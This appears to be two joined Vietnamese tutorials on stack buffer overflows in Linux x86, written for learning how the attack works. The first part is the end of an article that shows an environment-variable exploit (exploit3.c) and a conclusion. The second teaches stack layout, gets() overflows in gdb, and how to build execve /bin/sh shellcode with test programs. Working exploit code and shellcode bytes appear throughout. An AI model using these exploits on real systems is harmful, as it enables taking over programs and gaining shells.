Có thể thấy cách sử dụng biến môi trường khá hiệu quả. Phương pháp sau (chỉ áp dụng cho Linux x86) cũng sử dụng biến môi trường để chứa shellcode nhưng xác định được chính xác địa chỉ của biến môi trường này. Do đó, ta không cần phải lấp đầy các NOP vào đầu bộ đệm chứa shellcode, cũng như địa chỉ shellcode được xác định chính xác thay vì phải phỏng đoán.

Phần địa chỉ cao nhất (tương đương phần đáy của stack) của một file chương trình ELF, Linux x86 có dạng:

Hình 4: Cấu trúc đáy stack của Linux x86

Ta thấy, địa chỉ biến môi trường cuối cùng được tính theo công thức sau:


envpn = 0xBFFFFFFF -
4 - // 4 NULL bytes
strlen(program_name) - // chiều dài chuỗi tên chương trình
1 - // giá trị null của chuỗi tên chương trình
strlen(envp[n])) // độ dài của biến môi trường cuối cùng

hay rút gọn:
envpn = 0xBFFFFFFA - strlen(prog_name) - strlen(envp[n])

Các hàm gọi thực thi chương trình như execle, execve cho phép truyền con trỏ biến môi trường cho chương trình được gọi. Tận dụng điều này chúng ta có thể truyền trực tiếp bộ đệm chứa shellcode cho chương trình bị lỗi thông qua con trỏ biến môi trường, và tính được chính xác địa chỉ của nó.

Công thức để tính đia chỉ của shellcode:

addr = 0xBFFFFFFA - strlen(prog_name) - strlen(shellcode);

Chương trình khai thác lỗi mới được viết như sau:

/* exploit3.c */
#include

#define DEFAULT_BUFFER_SIZE 512
#define NOP 0x90 // mã asm của lệnh NOP

char shellcode[] =
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50"
"\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x31\xb\x31\xc0\x40\xcd\x80";

void main(int argc, char *argv[]) {
char *buff, *ptr, *egg;
long *addr_ptr, addr;
int bsize=DEFAULT_BUFFER_SIZE;
int i;

char *env[2] = {shellcode, NULL};

if (argc < 2) {
printf("Usage: %s target [bsize]\n", argv[0]);
exit(0);
}

if (argc > 2) bsize = atoi(argv[2]);

if (!(buff = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}

addr = 0xbffffffa - strlen(shellcode) - strlen(argv[1]);
printf("Using address: 0x%x\n", addr);

/* bộ đệm làm tràn chỉ chứa toàn địa chỉ shellcode */
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;
buff[bsize - 1] = '<!--POST BOX-->';

execle(argv[1],argv[1],buff,NULL,env);
}

Trong chương trình trên, chúng ta đã truyền cho chương trình bị lỗi con trỏ biến môi trường chỉ với một biến duy nhất là bộ đệm chứa shellcode, do đó độ dài của biến môi trường chính là độ dài của shellcode. Thử chương trình khai thác lỗi mới này:

[SkZ0@gamma bof]$ ./exploit3 ./vuln
Using address: 0xbfffffd4

( ... )

bash$


6. Kết luận
Hy vọng những gì đã trình bày có thể giúp các bạn hiểu được nguyên nhân và hậu quả dẫn đến của lỗi tràn bộ đệm. Kỹ thuật khai thác lỗi tràn bộ đệm là hoàn toàn không khó khi đã có cơ sở lý thuyết hết sức rõ ràng, mặc dù nó đòi hỏi phải có hiểu biết chút ít về ngôn ngữ lập trình. Việc tránh lỗi bộ đệm xảy ra cũng có thể đạt được không mấy khó khăn, đó là thực hiện nguyên tắc: tạo các chương trình an toàn ngay từ khi thiết kế.



Tài liệu tham khảo
Smashing The Stack For Fun And Profit - Aleph1
Avoiding security holes when developing an application - Frédéric Raynal, Christophe Blaess, Christophe Grenier
BUFFER OVERFLOWS DEMYSTIFIED - Murat Balaban
Writing buffer overflow exploits - a tutorial for beginners - Mixter


Liên kết
http://www.phrack.org/
http://community.core-sdi.com/~juliano/
Tác giả: boymc

Hướng dẫn viết "tràn bộ đệm"

Lời mở đầu

Tràn bộ đệm là một trong những lỗ hỏng bảo mật lớn nhất hiện nay. Vậy tràn bộ đệm là gì? Làm thế nào để thi hành các mã lệnh nguy hiểm qua tràn bộ đệm...?

***Lưu ý*** một ít kiến thức về Assembly, C, GDB và Linux là điều cần thiết đối với bạn!

Sơ đồ tổ chức bộ nhớ của một chương trình

/------------------\ địa chỉ vùng nhớ cao
| |
| Stack |
| |
|------------------|
| (Initialized) |
| Data |
| (Uninitialized) |
|------------------|
| |
| Text |
| |
\------------------/ địa chỉ vùng nhớ thấp

Stack và Heap?

Heap là vùng nhớ dùng để cấp phát cho các biến tỉnh hoặc các vùng nhớ được cấp phát bằng hàm malloc()

Stack là vùng nhớ dùng để lưu các tham số và các biến cục bộ của hàm.

Các biến trên heap được cấp phát từ vùng nhớ thấp đến vùng nhớ cao. Trên stack thì hoàn toàn ngược lại, các biến được cấp phát từ vùng nhớ cao đến vùng nhớ thấp.

Stack hoạt động theo nguyên tắc "vào sau ra trước"(Last In First Out - LIFO). Các giá trị được đẩy vào stack sau cùng sẽ được lấy ra khỏi stack trước tiên.

PUSH và POP

Stack đổ từ trên xuống duới(từ vùng nhớ cao đến vùng nhớ thấp). Thanh ghi ESP luôn trỏ đến đỉnh của stack(vùng nhớ có địa chỉ thấp).

đỉnh của bộ nhớ /------------\ đáy của stack
| |
| |
| |
| |
| |
| | <-- ESP
đáy của bộ nhớ \------------/ đỉnh của stack

* PUSH một value vào stack

đỉnh của bộ nhớ /------------\ đáy của stack
| |
| |
| |
| |
| | <- ESP cũ
|------------|
(2) -> value | <- ESP mới = ESP cũ - sizeof(value) (1)
đáy của bộ nhớ \------------/ đỉnh của stack

1/ ESP=ESP-sizeof(value)
2/ value được đẩy vào stack

* POP một value ra khỏi stack

đỉnh của bộ nhớ /------------\ đáy của stack
| |
| |
| |
| |
| | <- ESP mới = ESP cũ + sizeof(value)(2)
|------------|
(1) <- value | <- ESP cũ
đáy của bộ nhớ \------------/ đỉnh của stack

1/ vaule được lấy ra khỏi stack
2/ ESP=ESP+sizeof(value)

Khác nhau giữa các lệnh hợp ngữ AT&T với Intel

Khác với MSDOS và WINDOWS, *NIX dùng các lệnh hợp ngữ AT&T. Nó hoàn toàn ngược lại với chuẩn của Intel/Microsoft.

Ví dụ:

Intel AT&T
mov eax, esp movl %esp, %eax
push 7 push $7
mov [esp+5], eax movl %eax, 0x5(%esp)
inc ah incb %ah
push 7 push $7
...

* Ghi chú:

e - Extended 32 bits
% - register
mov %src, %des
movl - move 1 long
movb - move 1 byte
movw - move 1 word
$ - hằng
# - chú thích
...

Cách làm việc của hàm

Thanh ghi EIP luôn trỏ đến địa chỉ của câu lệnh tiếp theo cần thi hành.

Khi gọi hàm, đầu tiên các tham số được push vào stack theo thứ tự ngược lại. Tiếp theo địa chỉ của câu lệnh được push vào stack. Sau đó, thanh ghi EBP được push vào stack(dùng để lưu giá trị cũ của EBP).

Khi kết thúc hàm, thanh ghi EBP được pop ra khỏi stack(phục hồi lại giá trị cũ của EBP). Sau đó địa chỉ trở về(ret address) được pop ra khỏi stack và lệnh tiếp theo sau lời gọi hàm sẽ được thi hành.

Thanh ghi EBP được dùng để xác định các tham số và các biến cục bộ của hàm.

Ví dụ:

test.c
------------------------------------------------------------------------------
void function(int a, int b, int c) {
char buffer1[5];
char buffer2[10];
}

void main() {
function(1,2,3);
}
------------------------------------------------------------------------------

Để hiểu được chương trình gọi hàm function() như thế nào, bạn hãy compile vidu1.c, dùng tham số -S để phát mã assembly:

[đt@localhost ~/vicki]$cc -S -o test.s test.c

Xem file test.s, chúng ta sẽ thấy call function() được chuyển thành:

pushl $3
pushl $2
pushl $1
call function

3 tham số truyền cho function() lần lượt được push vào stack theo thứ tự ngược lại. Câu lệnh 'call' sẽ push con trỏ lệnh(tức là thanh ghi EIP) vào stack để lưu địa chỉ trở về.

Các lệnh đầu tiêu trong hàm function() sẽ có dạng như sau:

pushl %ebp
movl %esp,%ebp
subl $20,%esp

Đầu tiên ESP(frame pointer) được push vào stack. Sau đó chương trình copy ESP vào EBP để tạo một FP pointer mới. Bạn dễ nhận thấy lúc này ESP và EBP đều đang trỏ đến ô nhớ chứa EBP cũ. Hãy ghi nhớ điều này. Tiếp theo ESP được trừ đi 20 để dành không gian cho các biến cục bộ của hàm function()

Vì chương trình 32 bits nên 5 bytes buffer1 sẽ là 8 bytes(2 words) trong bộ nhớ(do làm tròn đến 4 bytes hay là 32 bits), 10 bytes buffer2 sẽ là 12 bytes trong bộ nhớ(3 words). Tổng cộng sẽ tốn 8+12=20 bytes cho các biến cục bộ của function() nên ESP phải bị trừ đi 20! Stack sẽ có dạng như sau:

đáy của đỉnh của
bộ nhớ bộ nhớ
buffer2 buffer1 sfp ret a b c
<------ [ ][ ][ ][ ][ ][ ][ ]

đỉnh của 12 bytes 8 bytes 4b 4b đáy của
stack stack

Trong hàm function(), nội dung thanh ghi EBP không bị thay đổi.

0xz%ebp dùng để xác định ô nhớ chứa tham số của hàm
0xfffffz%ebp dùng để xác định ô nhớ chứa biến cục bộ của hàm

Khi kết thúc hàm function():

movl %ebp,%esp
popl %ebp
ret
movl %ebp, %esp sẽ copy EBP vào ESP. Vì EBP khi bắt đầu hàm trỏ đến ô nhớ chứa EBP cũ và EBP không bị thay đổi trong hàm function() nên sau khi thực hiện lệnh movl, ESP sẽ trỏ đến ô nhớ chứa EBP cũ. popl %ebp sẽ phục hồi lại giá trị cũ cho EBP đồng thời ESP sẽ bị giảm 4(ESP=ESP-sizeof(EBP cũ)) sau lệnh popl. Như vậy ESP sẽ trỏ đến ô nhớ chứa địa chỉ trở về(nằm ngay trên ô nhớ chứa EBP cũ). ret sẽ pop địa chỉ trở về ra khỏi stack, ESP sẽ bị giảm 4 và chương trình tiếp tục thi hành câu lệnh sau lệnh call function().

Chương trình bị tràn bộ đệm

Ví dụ:

gets.c:
---------------------------------------
int main()
{
char buf[20];
gets(buf);
}
---------------------------------------
[đt@localhost ~/vicki]$ cc gets.c -o gets
/tmp/cc4C6vaT.o: In function `main':
/tmp/cc4C6vaT.o(.text+0xe): the `gets' function is dangerous and should not be used.
[đt@localhost ~/vicki]$
gets(buf) sẽ nhận input data vào buf. Kích thước của buf chỉ là 20 bytes. Nếu ta đẩy data có kích thước lớn hơn 20 bytes vào buf, 20 bytes data đầu tiên sẽ vào mảng buf[20], các bytes data sau sẽ ghi đè lên EBP cũ và tiếp theo là ret addr. Như vậy chúng ta có thể thay đổi được địa chỉ trở về, điều này đồng nghĩa với việc chương trình bị tràn bộ đệm.

đỉnh của bộ nhớ +-------------+ đáy của stack
| return addr |
+-------------+
| EBP cũ |
+-------------+
| |
| |
| buf[20] |
| |
| |
đáy của bộ nhớ +-------------+ đỉnh của stack
Bạn hãy thử:

[đt@localhost ~/vicki]$ perl -e 'print "A" x 24' | ./gets
[đt@localhost ~/vicki]$ gdb gets core
GNU gdb 5.0mdk-11mdk Linux-Mandrake 8.0
Copyright 2001 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-mandrake-linux"...
Core was generated by `./gets'.
Program terminated with signal 11, Segmentation fault.
Reading symbols from /lib/libc.so.6...done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /lib/ld-linux.so.2...done.
Loaded symbols for /lib/ld-linux.so.2
#0 0x41414141 in ?? ()
(gdb) info all
eax 0xbffffbc4 -1073742908
ecx 0xbffffbc4 -1073742908
edx 0x40105dbc 1074814396
ebx 0x4010748c 1074820236
esp 0xbffffbe0 0xbffffbe0
ebp 0x41414141 0x41414141 // hãy nhìn xem, chúng ta vừa ghi đè lên ebp
esi 0x4000a610 1073784336
edi 0xbffffc24 -1073742812
eip 0x40031100 0x40031100
eflags 0x10282 66178
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x2b 43
gs 0x2b 43
(gdb) quit
[đt@localhost ~/vicki]$
0x41 chính là "A" ở dạng hex

Bây giờ bạn hãy thử tiếp:

[đt@localhost ~/vicki]$ perl -e 'print "A" x 28' | ./gets
Segmentation fault
[đt@localhost ~/vicki]$ gdb gets core
GNU gdb 5.0mdk-11mdk Linux-Mandrake 8.0
Copyright 2001 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-mandrake-linux"...
Core was generated by `./gets'.
Program terminated with signal 11, Segmentation fault.
Reading symbols from /lib/libc.so.6...done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /lib/ld-linux.so.2...done.
Loaded symbols for /lib/ld-linux.so.2
#0 0x41414141 in ?? ()
(gdb) info all
eax 0xbffffbc4 -1073742908
ecx 0xbffffbc4 -1073742908
edx 0x40105dbc 1074814396
ebx 0x4010748c 1074820236
esp 0xbffffbe0 0xbffffbe0
ebp 0x41414141 0x41414141 // chúng ta đã ghi đè lên ebp
esi 0x4000a610 1073784336
edi 0xbffffc24 -1073742812
eip 0x41414141 0x41414141 // chúng ta đã ghi đè lên eip
eflags 0x10282 66178
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x2b 43
gs 0x2b 43
(gdb) quit
[đt@localhost ~/vicki]$
Địa chỉ trở về bị thay đổi thành 0x41414141, chương trình sẽ thi hành các lệnh tại 0x41414141, tuy nhiên đây là vùng cấm nên Linux đã báo lỗi "Segmentation fault"

Shellcode

Hình dung các đặt shellcode trên stack

Ở ví dụ trước, chúng ta đã biết được nguyên nhân của tràn bộ đệm và cách thay đổi eip. Tuy nhiên, chúng ta cần phải thay đổi địa chỉ trở về trỏ đến shellcode để đổ một shell. Bạn có thể hình dung ra cách đặt shellcode trên stack như sau:

Trước khi tràn bộ đệm:

đáy của bộ nhớ đỉnh của bộ nhớ
<----- FFFFF BBBBBBBBBBBBBBBBBBBBB EEEE RRRR FFFFFFFFFF
đỉnh của stack đáy của stack
B = buffer
E = stack frame pointer
R = return address
F = các data khác

Khi tràn bộ đệm:

đáy của bộ nhớ đỉnh của bộ nhớ
<----- FFFFF SSSSSSSSSSSSSSSSSSSSSSSSSAAAAAAAAFFFFFFFFF
đỉnh của stack đáy của stack
S = shellcode
A = con trỏ đến shellcode
F = các data khác

(1) Lắp tràn bộ đệm(đến return addr) bằng địa chỉ của buffer
(2) Đặt shellcode vào buffer

Như vậy địa chỉ trở về sẽ trỏ đến shellcode, shellcode sẽ đổ một root shell. Tuy nhiên, thật khó để làm cho ret addr trỏ đến đúng shellcode. Có một cách khác, chúng ta sẽ đặt vào đầu của buffer một dãy lệnh NOP(NO oPeration - không xử lí), tiếp theo chúng ta đẩy shellcode vào sau NOPs. Như vậy khi thay đổi ret addr trỏ đến một nơi này đó ở đầu buffer, các lệnh NOP sẽ được thi hành, chúng không làm gì cả. Đến khi gặp các lệnh shellcode, shellcode sẽ làm nhiệm vụ đổ root shell. Stack có dạng như sau:

đáy của bộ nhớ đỉnh của bộ nhớ
<----- FFFFF NNNNNNNNNNNSSSSSSSSSSSSSSAAAAAAAAFFFFFFFFF
đỉnh của stack đáy của stack
N = NOP
S = shellcode
A = con trỏ đến shellcode
F = các data khác

Viết và test thử shellcode

Shellcode được đặt trên stack nên không thể nào dùng địa chỉ tuyệt đối. Chúng ta buộc phải dùng địa chỉ tương đối. Thật may cho chúng ta, lệnh jmp và call có thể chấp nhận các địa chỉ tương đối. Shellcode sẽ có dạng như sau:

0 jmp (nhảy xuống z bytes, tức là đến câu lệnh call)
2 popl %esi
... đăt các hàm tại đây ...
Z call <-Z+2> (call sẽ nhảy lên z-2 bytes, đếb ngay câu lệnh sau jmp, POPL)
Z+5 .string (biến)
Giải thích: ở đầu shellcode chúng ta đặt một lệnh jmp đến call. call sẽ nhảy ngược lên lại câu lệnh ngay sau jmp, tức là câu lệnh popl %esi. Chúng ta đặt các dữ liệu .string ngay sau call. Khi lệnh call được thi hành, nó sẽ push địa chỉ của câu lệnh kế tiếp, trong trường hợp này là địa chỉ của .string vào stack. Câu lệnh ngay sau jmp là popl %esi, như vậy esi sẽ chứa địa chỉ của .string. Chúng ta đặt các hàm cần xử lí giữa popl %esi và call <-z+2>, các hàm này sẽ xác định các dữ liệu .string qua thanh ghi esi.

Mã lệnh để đổ shell trong C có dạng như sau:

shellcode.c
-----------------------------------------------------------------------------
#include

void main() {
char *name[2];

name[0] = "/bin/sh";
name[1] = NULL;
execve(name[0], name, NULL);
}
------------------------------------------------------------------------------
Để tìm ra mã lệnh assembly thật sự của shellcode, bạn cần compile shellcode.c và sau đó chạy gdb. Nhớ dùng cờ -static khi compile shellcode.c để gộp các mã lệnh assembly thật sự của hàm execve vào, nếu không dùng cờ này, bạn chỉ nhận được một tham chiếu đến thư viện liên kết động của C cho hàm execve.

[đt@localhost ~/vicki]$ gcc -o shellcode -ggdb -static shellcode.c
[đt@localhost ~/vicki]$ gdb shellcode
GNU gdb 5.0mdk-11mdk Linux-Mandrake 8.0
Copyright 2001 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-mandrake-linux"...
(gdb) disas main
Dump of assembler code for function main:
0x8000130 : pushl %ebp
0x8000131 : movl %esp,%ebp
0x8000133 : subl $0x8,%esp
0x8000136 : movl $0x80027b8,0xfffffff8(%ebp)
0x800013d : movl $0x0,0xfffffffc(%ebp)
0x8000144 : pushl $0x0
0x8000146 : leal 0xfffffff8(%ebp),%eax
0x8000149 : pushl %eax
0x800014a : movl 0xfffffff8(%ebp),%eax
0x800014d : pushl %eax
0x800014e : call 0x80002bc <__execve>
0x8000153 : addl $0xc,%esp
0x8000156 : movl %ebp,%esp
0x8000158 : popl %ebp
0x8000159 : ret
End of assembler dump.
(gdb) disas __execve
Dump of assembler code for function __execve:
0x80002bc <__execve>: pushl %ebp
0x80002bd <__execve+1>: movl %esp,%ebp
0x80002bf <__execve+3>: pushl %ebx
0x80002c0 <__execve+4>: movl $0xb,%eax
0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx
0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx
0x80002cb <__execve+15>: movl 0x10(%ebp),%edx
0x80002ce <__execve+18>: int $0x80
0x80002d0 <__execve+20>: movl %eax,%edx
0x80002d2 <__execve+22>: testl %edx,%edx
0x80002d4 <__execve+24>: jnl 0x80002e6 <__execve+42>
0x80002d6 <__execve+26>: negl %edx
0x80002d8 <__execve+28>: pushl %edx
0x80002d9 <__execve+29>: call 0x8001a34 <__normal_errno_location>
0x80002de <__execve+34>: popl %edx
0x80002df <__execve+35>: movl %edx,(%eax)
0x80002e1 <__execve+37>: movl $0xffffffff,%eax
0x80002e6 <__execve+42>: popl %ebx
0x80002e7 <__execve+43>: movl %ebp,%esp
0x80002e9 <__execve+45>: popl %ebp
0x80002ea <__execve+46>: ret
0x80002eb <__execve+47>: nop
End of assembler dump.
(gdb) quit
Giải thích:

1/ main():

0x8000130 : pushl %ebp
0x8000131 : movl %esp,%ebp
0x8000133 : subl $0x8,%esp
Các lệnh này bạn đã viết rồi. Nó sẽ lưu frame pointer cũ và tạo frame pointer mới từ stack pointer, sau đó dành chổ cho các biến cục bộ của main() trên stack, trong trường hợp này là 8 bytes:

char *name[2];

2 con trỏ kiểu char, mỗi con trỏ dài 1 word nên phải tốn 2 word, tức là 8 bytes trên stack.

0x8000136 : movl $0x80027b8,0xfffffff8(%ebp)
copy giá trị 0x80027b8(địa chỉ của chuổi "/bin/sh") vào con trỏ đầu tiên của mảng con trỏ name[]. Câu lệnh này tương đương với:

name[0] = "/bin/sh";

0x800013d : movl $0x0,0xfffffffc(%ebp)
copy giá trị 0x0(NULL) vào con trỏ thứ 2 của name[]. Câu lệnh này tương đương với:

name[1] = NULL;

Mã lệnh thật sự để call execve() bắt đầu tại đây:

0x8000144 : pushl $0x0
push các tham số của hàm execve() vào stack theo thứ tự ngược lại, đầu tiên là NULL

0x8000146 : leal 0xfffffff8(%ebp),%eax
nạp địa chỉ của name[] vào thanh ghi EAX

0x8000149 : pushl %eax
push địa chỉ của name[] vào stack

0x800014a : movl 0xfffffff8(%ebp),%eax
nạp địa chỉ của chuổi "/bin/sh" vào stack

0x800014e : call 0x80002bc <__execve>
gọi hàm thư viện execve(). call sẽ push eip vào stack.

2/ execve():

0x80002bc <__execve>: pushl %ebp
0x80002bd <__execve+1>: movl %esp,%ebp
0x80002bf <__execve+3>: pushl %ebx
đây là phần mở đầu của hàm, tôi không cần giải thích cho bạn nữa

0x80002c0 <__execve+4>: movl $0xb,%eax
copy 0xb(11 decimal) vào stack. 11 = execve()

0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx
copy địa chỉ của "/bin/sh" vào EBX

0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx
copy địa chỉ của name[] vào ECX

0x80002cb <__execve+15>: movl 0x10(%ebp),%edx
copy địa chỉ của con trỏ null vào EDX

0x80002ce <__execve+18>: int $0x80
gọi ngắt $0x80

Tóm lại:

a/ có một chuổi kết thúc bằng null "/bin/sh" ở đâu đó trong bộ nhớ
b/ có địa chỉ của chuổi "/bin/sh" ở đâu đó trong bộ nhớ theo sau là 1 null dài 1 word
c/ copy 0xb vào thanh ghi EAX
d/ copy địa chỉ của địa chỉ của chuổi "/bin/sh" vào thanh ghi EBX
e/ copy địa chỉ của chuổi "/bin/sh" vào thanh ghi ECX
f/ copy địa chỉ của null dài 1 word vào thanh ghi EDX
g/ gọi ngắt $0x80

Sau khi thi hành call execve, chương trình có thể thi hành tiếp các câu lệnh rác còn lại trên stack và chương trình có thể thất bại. Vì vậy, chúng ta phải nhanh chóng kết thúc chương trình bằng lời gọi hàm exit(). Exit syscall trong C có dạng như sau:

exit.c
------------------------------------------------------------------------------
#include

void main() {
exit(0);
}
------------------------------------------------------------------------------
Xem mã assemly của hàm exit():

[đt@localhost ~/vicki]$ gcc -o exit -ggdb -static exit.c
[đt@localhost ~/vicki]$ gdb exit
GNU gdb 5.0mdk-11mdk Linux-Mandrake 8.0
Copyright 2001 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-mandrake-linux"...
(gdb) disas _exit
Dump of assembler code for function _exit:
0x800034c <_exit>: pushl %ebp
0x800034d <_exit+1>: movl %esp,%ebp
0x800034f <_exit+3>: pushl %ebx
0x8000350 <_exit+4>: movl $0x1,%eax
0x8000355 <_exit+9>: movl 0x8(%ebp),%ebx
0x8000358 <_exit+12>: int $0x80
0x800035a <_exit+14>: movl 0xfffffffc(%ebp),%ebx
0x800035d <_exit+17>: movl %ebp,%esp
0x800035f <_exit+19>: popl %ebp
0x8000360 <_exit+20>: ret
0x8000361 <_exit+21>: nop
0x8000362 <_exit+22>: nop
0x8000363 <_exit+23>: nop
End of assembler dump.
(gdb) quit
exit syscall sẽ đặt 0x1 vào EAX, đặt exit code trong EBX và gọi ngắt "int 0x80". exit code = 0 nghĩa là không gặp lỗi. Vì vậy chúng ta sẽ đặt 0 trong EBX.

Tóm lại:

a/ có một chuổi kết thúc bằng null "/bin/sh" ở đâu đó trong bộ nhớ
b/ có địa chỉ của chuổi "/bin/sh" ở đâu đó trong bộ nhớ theo sau là 1 null dài 1 word
c/ copy 0xb vào thanh ghi EAX
d/ copy địa chỉ của địa chỉ của chuổi "/bin/sh" vào thanh ghi EBX
e/ copy địa chỉ của chuổi "/bin/sh" vào thanh ghi ECX
f/ copy địa chỉ của null dài 1 word vào thanh ghi EDX
g/ gọi ngắt $0x80
h/ copy 0x1 vào thanh ghi EAX
i/ copy 0x0 vào thanh ghi EBX
j/ gọi ngắt $0x80

Shellcode sẽ có dạng như sau:

------------------------------------------------------------------------------
jmp offset-to-call # 2 bytes
popl %esi # 1 byte
movl %esi,array-offset(%esi) # 3 bytes
movb $0x0,nullbyteoffset(%esi)# 4 bytes
movl $0x0,null-offset(%esi) # 7 bytes
movl $0xb,%eax # 5 bytes
movl %esi,%ebx # 2 bytes
leal array-offset,(%esi),%ecx # 3 bytes
leal null-offset(%esi),%edx # 3 bytes
int $0x80 # 2 bytes
movl $0x1, %eax # 5 bytes
movl $0x0, %ebx # 5 bytes
int $0x80 # 2 bytes
call offset-to-popl # 5 bytes
/bin/sh string goes here.
------------------------------------------------------------------------------
Tính toán các offsets từ jmp đến call, từ call đến popl, từ địa chỉ của chuổi đến mảng, và từ địa chỉ của chuổi đến word null, chúng ta sẽ có shellcode thật sự:

------------------------------------------------------------------------------
jmp 0x26 # 2 bytes
popl %esi # 1 byte
movl %esi,0x8(%esi) # 3 bytes
movb $0x0,0x7(%esi) # 4 bytes
movl $0x0,0xc(%esi) # 7 bytes
movl $0xb,%eax # 5 bytes
movl %esi,%ebx # 2 bytes
leal 0x8(%esi),%ecx # 3 bytes
leal 0xc(%esi),%edx # 3 bytes
int $0x80 # 2 bytes
movl $0x1, %eax # 5 bytes
movl $0x0, %ebx # 5 bytes
int $0x80 # 2 bytes
call -0x2b # 5 bytes
.string \"/bin/sh\" # 8 bytes
------------------------------------------------------------------------------
Để biết mã máy của các lệnh hợp ngữ trên ở dạng hexa, bạn cần compile shellcodeasm.c và gdb shellcodeasm:

shellcodeasm.c
------------------------------------------------------------------------------
void main() {
__asm__("
jmp 0x2a # 3 bytes
popl %esi # 1 byte
movl %esi,0x8(%esi) # 3 bytes
movb $0x0,0x7(%esi) # 4 bytes
movl $0x0,0xc(%esi) # 7 bytes
movl $0xb,%eax # 5 bytes
movl %esi,%ebx # 2 bytes
leal 0x8(%esi),%ecx # 3 bytes
leal 0xc(%esi),%edx # 3 bytes
int $0x80 # 2 bytes
movl $0x1, %eax # 5 bytes
movl $0x0, %ebx # 5 bytes
int $0x80 # 2 bytes
call -0x2f # 5 bytes
.string \"/bin/sh\" # 8 bytes
");
}
------------------------------------------------------------------------------
[đt@localhost ~/vicki]$ gcc -o shellcodeasm -g -ggdb shellcodeasm.c
[đt@localhost ~/vicki]$ gdb shellcodeasm
GNU gdb 5.0mdk-11mdk Linux-Mandrake 8.0
Copyright 2001 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-mandrake-linux"...
(gdb) disas main
Dump of assembler code for function main:
0x8000130 : pushl %ebp
0x8000131 : movl %esp,%ebp
0x8000133 : jmp 0x800015f
0x8000135 : popl %esi
0x8000136 : movl %esi,0x8(%esi)
0x8000139 : movb $0x0,0x7(%esi)
0x800013d : movl $0x0,0xc(%esi)
0x8000144 : movl $0xb,%eax
0x8000149 : movl %esi,%ebx
0x800014b : leal 0x8(%esi),%ecx
0x800014e : leal 0xc(%esi),%edx
0x8000151 : int $0x80
0x8000153 : movl $0x1,%eax
0x8000158 : movl $0x0,%ebx
0x800015d : int $0x80
0x800015f : call 0x8000135
0x8000164 : das
0x8000165 : boundl 0x6e(%ecx),%ebp
0x8000168 : das
0x8000169 : jae 0x80001d3 <__new_exitfn+55>
0x800016b : addb %cl,0x55c35dec(%ecx)
End of assembler dump.
(gdb) x/bx main+3
0x8000133 : 0xeb
(gdb)
0x8000134 : 0x2a
(gdb)
.
.
.
(gdb) quit
Ghi chú: x/bx dùng để hiển thị mã máy ở dạng hexa của lệnh hợp ngữ

Bây giờ bạn hãy test thử shellcode đầu tiên:

testsc1.c
------------------------------------------------------------------------------
char shellcode[] =
"\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00"
"\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
"\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff"
"\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3";

void main() {
int *ret;

ret = (int *)&ret + 2;
(*ret) = (int)shellcode;

}
------------------------------------------------------------------------------

[đt@localhost ~/vicki]$ cc -o testsc1 testsc1.c
[đt@localhost ~/vicki]$ ./testsc1
sh-2.04$ exit
[đt@localhost ~/vicki]$
Nó đã làm việc! Tuy nhiên có một vấn đề lớn trong shellcode đầu tiên. Shellcode này có chứa \x00. Chúng ta sẽ thất bại nếu dùng shellcode này để làm tràn bộ đệm. Vì sao? Hàm strcpy() sẽ chấm dứt copy khi gặp \x00 nên shellcode sẽ không được copy trọn vẹn vào buffer! Chúng ta cần gở bỏ hết \x00 trong shellcode:

Câu lệnh gặp vấn đề: Được thay thế bằng:
--------------------------------------------------------
movb $0x0,0x7(%esi) xorl %eax,%eax
molv $0x0,0xc(%esi) movb %eax,0x7(%esi)
movl %eax,0xc(%esi)
--------------------------------------------------------
movl $0xb,%eax movb $0xb,%al
--------------------------------------------------------
movl $0x1, %eax xorl %ebx,%ebx
movl $0x0, %ebx movl %ebx,%eax
inc %eax
--------------------------------------------------------
Shellcode mới!

shellcodeasm2.c
------------------------------------------------------------------------------
void main() {
__asm__("
jmp 0x1f # 2 bytes
popl %esi # 1 byte
movl %esi,0x8(%esi) # 3 bytes
xorl %eax,%eax # 2 bytes
movb %eax,0x7(%esi) # 3 bytes
movl %eax,0xc(%esi) # 3 bytes
movb $0xb,%al # 2 bytes
movl %esi,%ebx # 2 bytes
leal 0x8(%esi),%ecx # 3 bytes
leal 0xc(%esi),%edx # 3 bytes
int $0x80 # 2 bytes
xorl %ebx,%ebx # 2 bytes
movl %ebx,%eax # 2 bytes
inc %eax # 1 bytes
int $0x80 # 2 bytes
